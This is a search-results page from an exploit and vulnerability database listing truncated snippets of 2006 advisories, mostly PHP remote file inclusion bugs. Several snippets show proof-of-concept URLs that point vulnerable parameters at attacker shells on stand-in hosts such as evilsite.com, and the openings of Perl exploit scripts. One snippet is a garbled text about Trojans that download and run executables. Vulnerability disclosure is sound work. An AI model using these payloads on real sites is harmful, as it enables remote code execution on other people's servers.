10339 matches found
CVE-2006-6892
Cross-site scripting XSS vulnerability in the GetLocation function in online.php in Jonathon J. Freeman OvBB 0.13a allows remote attackers to inject arbitrary web script or HTML via the aRequest variable...
Fishyshoop Security Vulnerability
Synopsis ======== The Fishyshoop shopping cart software contains a vulnerability which allows arbitrary users to create accounts with administrator privileges Background ========== Fishyshoop is a suite of PHP scripts allowing anybody to create an attractive online store. Affected Versions...
Ciberia Content Federator 1.0 (path) Remote File Include Exploit
No description provided by source. !/usr/bin/perl Portal Name : ciberia 1.0maquetacionsocio.php Remote File Inclusion Exploit BUG: Path/socios/maquetacionsocio.php?path=Dr.Trojan.TxT Vulnerable Code: 1-include "$path/datos/datossocios.php"; 2-include "$path/elementos/actos.php"; 3-include...
TextSend <= 1.5 (config/sender.php) Remote File Include Vulnerability
No description provided by source. +------------------------------------------------------------------------------------------- + TextSend = 1.5 config/sender.php Remote File Include Vulnerability +------------------------------------------------------------------------------------------- + Vendo...
CVE-2006-6661
This CVE affects PHP-Update (blog.php)
TextSend <= 1.5 (config/sender.php) Remote File Include Vulnerability
Exploit for unknown platform in category web applications ===================================================================== TextSend include "$ROOTPATH/config.php"; + + Proof Of Concept: + http://target/path/config/sender.php?ROOTPATH=http://evilsite.com/shell.php?...
Paristemi 0.8.3b (buycd.php) Remote File Include Vulnerability
No description provided by source. +------------------------------------------------------------------------------------------- + Paristemi 0.8.3b buycd.php Remote File Include Vulnerability +------------------------------------------------------------------------------------------- + Vendor...
yaplap 0.6.1b - ldap.php Remote File Inclusion
yaplap 0.6.1b - ldap.php Remote File Inclusion !/usr/bin/perl yaplap Remote File Inclusion Vulnerablity Version 0.6 & 0.6.1 Class = Remote File Inclusion Bug Found & Exploit coded By DeltahackingTEAM Dr.Trojan&Dr.Pantagon...
CVE-2006-6494
CVE-2006-6494 affects Sun Solaris 8, 9, and 10 where ld.so.1 is vulnerable to a directory traversal via a dot-dot sequence in the LANG environment variable that points to a locale file containing attacker-controlled format string specifiers. According to the provided records, this allows a local ...
Hacking tricks of using pictures do Trojan applications completely resolution-vulnerability warning-the black bar safety net
What is a BMP web page Trojan. It and last long with the stink of a MIME header vulnerability of Trojans different, MIME Trojans is to put an EXE file with a MIME-encoded as an EMLOUT LOOK mailthe file, put it on a web page using IE and OE coding vulnerability to automatically download and execut...
mxBB Module kb_mods 2.0.2 - Remote File Inclusion
mxBB Module kbmods 2.0.2 - Remote File Inclusion | \ | / | \ \ / | | | | | \ / | \ \ / / | | | | '| | |/| |/ \ / / \ / / | | '| | | / | | || | | | | | | | | \ / | | | | || \ \ |/|| || ||,//\ / ||| ,|/...
CVE-2006-6418
Buffer overflow in the POSIX Threads library libpthread on HP Tru64 UNIX 4.0F PK8, 4.0G PK4, and 5.1A PK6 allows local users to gain root privileges via a long PTHREADCONFIG environment variable...
TorrentFlux 2.2 (downloaddetails.php) Local File Disclosure Exploit
Exploit for unknown platform in category web applications =================================================================== TorrentFlux 2.2 downloaddetails.php Local File Disclosure Exploit =================================================================== Description: TorrentFlux fails to...
TorrentFlux 2.2 - maketorrent.php Remote Command Execution
TorrentFlux 2.2 - maketorrent.php Remote Command Execution The variable announce in maketorrent.php is not sanitised before being used. The announce variable goes through various stages throughout the script, then it is passed as a into an exec function. This occurs in the middle of the string...
TorrentFlux 2.2 (maketorrent.php) Remote Command Execution Exploit
Exploit for unknown platform in category web applications ================================================================== TorrentFlux 2.2 maketorrent.php Remote Command Execution Exploit ================================================================== The variable announce in maketorrent.php...
phpAdsNew-2.0.4-pr2 Remote File Inclusion Exploit
No description provided by source. !/usr/bin/perl phpAdsNew-2.0.4-pr2 Remote File Inclusion Exploit Download Script http://www.drunkenblog.com/drunkenblog-archives/i/phpAdsNew-2.0.4-pr2.zip Bug Found & coded By CrackersChild [email protected] Kullanimi perl cra.pl target cmd shell...
CM68 News <= 12.02.06 (addpth) Remote File Inclusion Vulnerability
No description provided by source. Vulnerable Software:cm68news Vulnerable file: /engine/oldnews.inc.php Credits: Paul Bakoyiannis Vulnerable Variable: addpath Example Exploit: http://site.com/cm68news/engine/oldnews.inc.php?addpath=http://evil.com/script.txt?&...
tucows-rfi.txt
!/usr/bin/perl Tucows Open Project --Remote File Inclusion Vulnerablity Bug Found & Exploit coded By Dr Max Virus Download:http://developer.tucows.com/code/ccs/downloads/ccs-open-1.2.1015-2006-209-1337.zip use LWP::UserAgent; $target=@ARGV0; $shellsite=@ARGV1; $cmdv=@ARGV2; if$target!/http:/// ||...
CM68 News <= 12.02.06 (addpth) Remote File Inclusion Vulnerability
Exploit for unknown platform in category web applications ================================================================== CM68 News = 12.02.06 addpth Remote File Inclusion Vulnerability ================================================================== Vulnerable Software:cm68news Vulnerable...
Tucows Client Code Suite (CSS) 1.2.1015 - Remote File Inclusion
!/usr/bin/perl Tucows Open Project --Remote File Inclusion Vulnerablity Bug Found & Exploit coded By Dr Max Virus Download:http://developer.tucows.com/code/ccs/downloads/ccs-open-1.2.1015-2006-209-1337.zip use LWP::UserAgent; $target=@ARGV0; $shellsite=@ARGV1; $cmdv=@ARGV2; if$target!/http:/// ||...